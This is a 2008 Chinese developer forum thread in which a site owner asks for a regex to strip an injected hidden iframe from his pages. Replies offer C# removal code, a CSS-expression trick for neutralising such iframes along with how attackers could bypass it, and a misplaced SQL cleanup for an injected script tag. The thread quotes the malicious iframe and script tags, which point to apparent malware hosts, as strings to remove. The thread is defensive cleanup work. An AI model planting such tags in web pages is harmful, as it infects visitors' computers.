求个正则表达式

yanlong521521 2008-11-24 10:55:43
请问一下:<iframe sRc=http://www.ccswzx9.cn/one/a26.htm width=50 hEight=0 name=9527 border=0></iframe>
要查找这样一个字符串,里面只有name值是可变的,有什么方法吗?我一定要把这句代码全部查出来,然后替换成空格。谢谢!
...全文
263 24 打赏 收藏 转发到动态 举报
写回复
用AI写文章
24 条回复
切换为时间正序
请发表友善的回复…
发表回复
yanlong521521 2008-11-25
  • 打赏
  • 举报
回复
谢谢各位大虾的帮忙!
江南野鹤 2008-11-24
  • 打赏
  • 举报
回复
<iframe sRc=http://www.ccswzx9.cn/one/a26.htm width=50 hEight=0 name=[^>]order=0>\s* </iframe>
cong1212 2008-11-24
  • 打赏
  • 举报
回复
2楼高手,up
wuhq030710914 2008-11-24
  • 打赏
  • 举报
回复
二楼的方法好,收藏
wuhq030710914 2008-11-24
  • 打赏
  • 举报
回复
System.Text.RegularExpressions.Regex re = new System.Text.RegularExpressions.Regex(@"<iframe\s*sRc=http://www.ccswzx9.cn/one/a26.htm width=50 hEight=0\s*name=\w+?\s*border=0>\s*</iframe>");
string result=re.Replace("源串", "");
tian_fang 2008-11-24
  • 打赏
  • 举报
回复
学习了...
jiang_jiajia10 2008-11-24
  • 打赏
  • 举报
回复
[Quote=引用 2 楼 iuhxq 的回复:]
最近公司和好朋友的网站纷纷被IFRAME了,有的挂上了鸽子,有的疯狂地弹窗,有的给人家增加流量。一个个文件去查找替换那些IFRAME代码,刚松口气,不久又加上去了,哎,什么世道!于是他们向我这个"JS高手"(他们强加给我的)求救,我也不能等闲视之,只好击键杀杀杀了。
  
  因为FF(Firefox)不怕IFRAME,于是就拿IE开刀,不知道比尔有没有奖发。我只写了一句代码,就搞定了,哈,痛快。就是IE only(特有的)的CSS中的属…
[/Quote]
好强
smbeng 2008-11-24
  • 打赏
  • 举报
回复
高人!!!....
kfps8kfps8 2008-11-24
  • 打赏
  • 举报
回复
学习了...
RexZheng 2008-11-24
  • 打赏
  • 举报
回复
楼上的不错!
iuhxq 2008-11-24
  • 打赏
  • 举报
回复
最近公司和好朋友的网站纷纷被IFRAME了,有的挂上了鸽子,有的疯狂地弹窗,有的给人家增加流量。一个个文件去查找替换那些IFRAME代码,刚松口气,不久又加上去了,哎,什么世道!于是他们向我这个"JS高手"(他们强加给我的)求救,我也不能等闲视之,只好击键杀杀杀了。
  
  因为FF(Firefox)不怕IFRAME,于是就拿IE开刀,不知道比尔有没有奖发。我只写了一句代码,就搞定了,哈,痛快。就是IE only(特有的)的CSS中的属性expression,插进去试试,果然那些IFRAME不起作用了。

代码如下:

以下是引用片段:
<style type="text/css" media="all" id="http://nihaoku.cn">
iframe{
v:expression(this.src=’about:blank’,this.outerHTML=’’);
}
#f126{v:expression() !important} //如果要使自己的IFRAME可以执行,在自己的IFRAME里加上ID="f126";
</style>
http://www.svnhost.cn

分析:
前缀:expression(表达式);

  这个前缀是可以随意更换的,我上面取名为"v",例如我可以换成:abc123:expression(this.src=’about:blank’,this.outerHTML=’’); 挂木马的家伙得先看你的CSS里这个前缀,然后挂马的时候写成这样<iframe style="abc123:expression() !important" src="URL"></iframe>,那个前缀一定要是和你的网站一样的(abc123),才能挂到马,哈哈哈!如果把前缀做成动态的,就非常OK了,看你怎么挂!

优点:

可以解决一些站长的烦恼,无须去理会人家插了多少IFRAME木马,那些IFRAME都不起作用;

保护了访客的安全,这些IFRAME不执行,不下载,就不会破坏到访问的电脑;

代码简单,仅一句CSS样式,不管你是ASP,ASP.NET,JSP,PHP还是RUBY,都通用;

缺点:

只适合防御目前的挂IFRAME方案;

使得人家挂马的方式要改变了,挂马者可以构造这样的代码<iframe style="v:expression() !important" src="URL"></iframe>使我的防御方式失效,不过挂马都一定得看我的CSS里expression前面的这个"v"字母,我可以换成任意的如:xgz:expression(...),哈哈哈,他也拿我没办法,再如,如果我这个前缀是变化的,是不是也行吖 *_*


不能防御其他标记的马,如<script>、<applet>、<object>等。
到那时候再来找我吧,呵呵~网页里插入的IFRAME还是存在,只是不起作用了;
smbeng 2008-11-24
  • 打赏
  • 举报
回复
只有name可变,很简单的匹配,
<iframe sRc=http://www.ccswzx9.cn/one/a26.htm width=50 hEight=0 name=[^>]* border=0>\s*</iframe>
如果HTML代码太不规范的话,会很难找,
nlqtonglin2006 2008-11-24
  • 打赏
  • 举报
回复
学习!!
caofan520 2008-11-24
  • 打赏
  • 举报
回复


string input = "<iframe sRc=http://www.ccswzx9.cn/one/a26.htm width=50 hEight=0 name=9527 border=0> </iframe> <iframe sRc=http://www.ccswzx9.cn/one/a26.htm width=50 hEight=0 name=9527 border=0> </iframe> ";

Regex reg = new Regex(@"name=(.*?)\s");


input = reg.Replace(input, "name= ");
bjwtufv 2008-11-24
  • 打赏
  • 举报
回复
[Quote=引用 2 楼 iuhxq 的回复:]
最近公司和好朋友的网站纷纷被IFRAME了,有的挂上了鸽子,有的疯狂地弹窗,有的给人家增加流量。一个个文件去查找替换那些IFRAME代码,刚松口气,不久又加上去了,哎,什么世道!于是他们向我这个"JS高手"(他们强加给我的)求救,我也不能等闲视之,只好击键杀杀杀了。
  
  因为FF(Firefox)不怕IFRAME,于是就拿IE开刀,不知道比尔有没有奖发。我只写了一句代码,就搞定了,哈,痛快。就是IE only(特有的)的CSS中的属…
[/Quote]

收藏一下,可惜我是以前中的招。
yw1688 2008-11-24
  • 打赏
  • 举报
回复
mark
brood108 2008-11-24
  • 打赏
  • 举报
回复
不好意思 刚刚给的代码有问题 这个才是正确的 测试可用!

public static string Removeiframe(string htmlcode)
{
int TheStart = htmlcode.ToLower().IndexOf("<iframe");
int TheEnd = htmlcode.ToLower().IndexOf("</iframe>", TheStart+1);
while ((TheStart != -1) && (TheEnd > TheStart))
{
htmlcode = htmlcode.Remove(TheStart, TheEnd - TheStart + 9);
TheStart = htmlcode.ToLower().IndexOf("<iframe");
TheEnd = htmlcode.ToLower().IndexOf("</iframe>", TheStart+1);
}
return htmlcode;
}
brood108 2008-11-24
  • 打赏
  • 举报
回复
给你提供个简单的函数吧 移除string字符串中的iframe的

public string Removeiframe(string htmlcode)
{
int TheStart = htmlcode.ToLower().IndexOf("<iframe");
int TheEnd = htmlcode.ToLower().IndexOf("</iframe>", TheStart);
while ((TheStart != -1) && (TheEnd > TheStart))
{
htmlcode = htmlcode.Remove(TheStart, TheEnd - TheStart + 9);
TheStart = htmlcode.ToLower().IndexOf("<iframe");
TheEnd = htmlcode.ToLower().IndexOf("</iframe>", TheStart);
}
return htmlcode;
}
一品梅 2008-11-24
  • 打赏
  • 举报
回复
网站被攻击了,数据携带着乱码.如何恢复呢?有多少种途径?[100分]
--------------------------------------------------------------
数据库被注入攻击 所有文本型字下段数据都被加了 <script_src=http://ucmal.com/0.js> </script>
怎么删掉?



DECLARE @fieldtype sysname
SET @fieldtype='varchar'

--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'


一品梅 2008-11-24
  • 打赏
  • 举报
回复
晕,发错帖子了。
加载更多回复(4)

62,268

社区成员

发帖
与我相关
我的任务
社区描述
.NET技术交流专区
javascript云原生 企业社区
社区管理员
  • ASP.NET
  • .Net开发者社区
  • R小R
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

.NET 社区是一个围绕开源 .NET 的开放、热情、创新、包容的技术社区。社区致力于为广大 .NET 爱好者提供一个良好的知识共享、协同互助的 .NET 技术交流环境。我们尊重不同意见,支持健康理性的辩论和互动,反对歧视和攻击。

希望和大家一起共同营造一个活跃、友好的社区氛围。

试试用AI创作助手写篇文章吧